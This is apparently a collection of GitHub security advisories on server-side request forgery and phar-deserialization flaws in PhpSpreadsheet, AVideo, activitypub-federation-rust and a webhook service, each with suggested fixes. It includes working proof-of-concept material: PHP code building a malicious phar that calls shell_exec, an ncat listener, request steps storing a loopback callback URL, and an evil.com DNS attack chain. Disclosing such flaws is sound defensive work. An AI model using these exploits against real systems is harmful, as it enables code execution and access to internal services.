GHSA-Q4Q6-R8WH-5CGH
Vulnerability from github – Published: 2026-04-29 20:22 – Updated: 2026-05-08 15:29The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.
This results in a SSRF, at "best", and RCE at worse.
This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).
PoC
To reproduce the vulnerable behavior, the following scripts were used:
php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
phar.readonly=0
make_phar.php to create the malicious file:
<?php
// php -c php.ini make_phar.php
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";
test.php showcases the unsafe pattern:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$filename = $argv[1] ?? null;
if (!$filename) {
echo "Usage: php test.php <path>\n";
echo " e.g. php test.php phar://exploit.xlsx/whatever\n";
exit(1);
}
echo "Calling IOFactory::load('" . $filename . "')\n";
try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vuln has still triggered even if exception triggers.\n";
}
RCE
Run the PoC (for RCE):
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt
The file /tmp/poc.txt should now be present on disk.
Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.
SSRF
Run the PoC (for SSRF):
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test
Observe a connection is made to 127.0.0.1 on port 21.
Root Cause Analysis
Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename);
The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.
public function __destruct()
{
// Unlink temporary files
// There is nothing reasonable to do if unlink fails.
if ($this->tempFileName != '') {
@unlink($this->tempFileName);
}
}
/** @param mixed[] $data */
public function __unserialize(array $data): void
{
$this->tempFileName = '';
throw new SpreadsheetException('Unserialize not permitted');
}
Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.
Suggested mitigations
Use is_file only after making sure the filename does not contain any php wrapper:
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
throw new \PhpOffice\PhpSpreadsheet\Exception(
"Stream wrappers are not permitted as file paths: {$filename}"
);
}
or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}
// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
throw new ...
}
Note:
stream_is_local()would also not be safe here — as it considersphar://to be local and would not block it.

Vulnerability from github – Published: 2026-06-05 16:34 – Updated: 2026-07-08 17:36Summary: The private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses (e.g. ::ffff:127.0.0.1), allowing SSRF protection to be bypassed on dual-stack systems.
Affected components
backend/src/applications/files/services/files-manager.service.ts – downloadFromUrl() checks regExpPrivateIP against request.socket.remoteAddress. backend/src/applications/files/utils/url-file.ts – regExpPrivateIP does not include ::ffff: variants.
Details: The regExpPrivateIP regex in backend/src/applications/files/utils/url-file.ts correctly blocks standard IPv4 private ranges but does not include ::ffff: prefixed variants. On dual-stack systems, Node.js can report a socket's remoteAddress in IPv4-mapped IPv6 form, meaning the check in FilesManager.downloadFromUrl() can be bypassed entirely.
PoC: poc.pdf
Proof:
Impact: An attacker can supply a crafted URL pointing to an internal address that gets reported as ::ffff:127.0.0.1 or ::ffff:10.x.x.x, causing the server to fetch internal resources that should be blocked. Any user with access to the file download feature is a potential attacker.

Vulnerability from github – Published: 2026-04-08 00:08 – Updated: 2026-04-08 00:08Summary
The Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.
The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.
Details
The vulnerable chain was:
plugin/Live/view/getRestream.json.phpexposed a freshtokenForActionplugin/Live/view/Live_restreams/verifyTokenForAction.json.phpexchanged it for a validresponseTokenplugin/Live/view/Live_restreams_logs/add.json.phpaccepted attacker-controlledrestreamerURLplugin/Live/view/getRestream.json.phpandplugin/Live/view/Live_restreams/getAction.json.phplater fetched that stored URL server-side
The original issue existed because the responseToken was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.
The maintainer confirmed the vulnerability and stated that the fix was applied by validating restreamerURL at storage time and re-validating the log-entry branch before use. The maintainer also noted that the m3u8 field follows the same general pattern but is not server-fetched in the current flow.
Proof of concept
- Log in as a non-admin user with streaming permission.
- Create a normal restream destination.
- Trigger
plugin/Live/view/Live_restreams/testRestreamer.json.phpto create a live transmission history row. - Call:
GET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=<id>&restreams_id=<id>
- Extract
tokenForActionfrom the returned URL. - Exchange it for
responseTokenvia:
POST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php
- Store a loopback callback URL:
POST /plugin/Live/view/Live_restreams_logs/add.json.php
restreamerURL=http://127.0.0.1:9999/index.php
- Trigger
getRestream.json.phpagain. - Observe that the returned response now contains the JSON body from the loopback-only service.
Impact
An authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious restreamerURL in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.
Recommended fix
- Validate
restreamerURLagainst explicitly configured restreamer endpoints at storage time - Re-validate the stored callback URL before server-side fetch
- Bind
responseTokento the expected restream row and callback host - Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets
- Ignore or reject user-supplied callback hosts that do not match trusted configuration

Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.\n\n\n## Recommended fix\n\n- Validate `restreamerURL` against explicitly configured restreamer endpoints at storage time\n- Re-validate the stored callback URL before server-side fetch\n- Bind `responseToken` to the expected restream row and callback host\n- Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets\n- Ignore or reject user-supplied callback hosts that do not match trusted configuration",

GHSA-Q537-8FR5-CW35
Vulnerability from github – Published: 2026-03-25 20:23 – Updated: 2026-03-27 21:36Summary
The v4_is_invalid() function in activitypub-federation-rust (src/utils.rs) does not check for Ipv4Addr::UNSPECIFIED (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.
Details
File: src/utils.rs in activitypub-federation-rust
Function: v4_is_invalid(v4: Ipv4Addr) -> bool
The function checks is_private(), is_loopback(), is_link_local(), is_multicast(), and is_documentation() — but omits is_unspecified(). On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).
Additionally, ::ffff:0.0.0.0 (IPv4-mapped IPv6) also bypasses because v6_is_invalid() calls to_ipv4_mapped().is_some_and(v4_is_invalid), inheriting the same gap. Notably, v6_is_invalid() already includes is_unspecified() for native IPv6, making this an asymmetric oversight.
Independent secondary finding — DNS Rebinding TOCTOU:
is_invalid_ip() resolves DNS via lookup_host() for validation, but reqwest resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).
PoC
1. Logic Proof (reproduced from source):
fn v4_is_invalid(v4: Ipv4Addr) -> bool {
v4.is_private()
|| v4.is_loopback()
|| v4.is_link_local()
|| v4.is_multicast()
|| v4.is_documentation()
// BUG: Missing || v4.is_unspecified()
}
assert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false); // 0.0.0.0 PASSES validation
assert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true); // 127.0.0.1 correctly blocked
2. OS Routing Verification:
$ connect(0.0.0.0:80) → ConnectionRefused
ConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.
3. Attack Chain:
- Attacker configures DNS:
evil.com A → 0.0.0.0 -
- Attacker sends ActivityPub activity referencing
https://evil.com/actor
- Attacker sends ActivityPub activity referencing
-
- Library calls
verify_url_valid()→is_invalid_ip()→ resolves to 0.0.0.0
- Library calls
-
v4_is_invalid(0.0.0.0)returnsfalse(BYPASS)
-
reqwestconnects to 0.0.0.0 → reaches localhost services
Impact
- Direct: Bypasses the SSRF protection layer for all ActivityPub federation traffic
-
- Downstream: 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum
-
- Attacker can: Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure
Suggested Fix
fn v4_is_invalid(v4: Ipv4Addr) -> bool {
v4.is_private()
|| v4.is_loopback()
|| v4.is_link_local()
|| v4.is_multicast()
|| v4.is_documentation()
|| v4.is_unspecified() // ADD: blocks 0.0.0.0
|| v4.is_broadcast() // ADD: blocks 255.255.255.255
}
For DNS rebinding TOCTOU, pin the resolved IP:
let resolved_ip = lookup_host((domain, 80)).await?;
// validate resolved_ip...
let client = reqwest::Client::builder()
.resolve(domain, resolved_ip) // pin resolution
.build()?;

GHSA-Q567-CR4X-96W4
Vulnerability from github – Published: 2026-10-02 22:35 – Updated: 2026-10-02 22:35Summary
A WEBHOOK alert channel stores a user-supplied url. When an alert fires (deployment/run failure, error groups), the webapp server (alertsWorker -> DeliverAlertService) POSTs the HMAC-signed alert payload to that URL via fetch(webhook.url, ...). The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for 169.254, isPrivate, isLoopback, net.isIP, ssrf returns ZERO hits), and the API route's URL field is just z.string().optional() (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or 169.254.169.254 and the multi-tenant server fetches it.
Affected
apps/webapp, HEAD 5d99457 (current main).
Root cause
- Source (API route):
app/presenters/v3/ApiAlertChannelPresenter.server.tsApiAlertChannelData.url = z.string().optional()(no host validation); routeapp/routes/api.v1.projects.$projectRef.alertChannels.ts(PAT-auth). - Store:
app/v3/services/alerts/createAlertChannel.server.tspersists{url, secret, version}verbatim. - Sink:
app/v3/services/alerts/deliverAlert.server.ts:973fetch(webhook.url, {method:"POST", headers:{"x-trigger-signature-hmacsha256":...}, body:rawPayload}); identical atdeliverErrorGroupAlert.server.ts:258. Runs inside the webapp process;fetchfollows redirects (IMDSv1-via-redirect). No egress guard anywhere.
Runtime PoC (proven on self-host)
Seeded a project + STAGING env + a WEBHOOK channel with url=http://host.docker.internal:7766/... (an internal address from the server's POV) + a DEPLOYING deployment. Triggered via the public API POST /api/v1/deployments/deployment_ssrfpoc/fail -> 200 -> FAILED -> alertsWorker -> the server fetched the listener. Captured:
POST /ssrf-via-webhook HTTP/1.1
host: host.docker.internal:7766
x-trigger-signature-hmacsha256: <redacted>
user-agent: node
{"type":"alert.deployment.failed", ...}
The webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect — not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.
Suggested fix
Validate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared assertPublicUrl(url) used by createAlertChannel + the two delivery sinks.
Dup
Distinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 — corroborating the class is real and fixable.)

CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
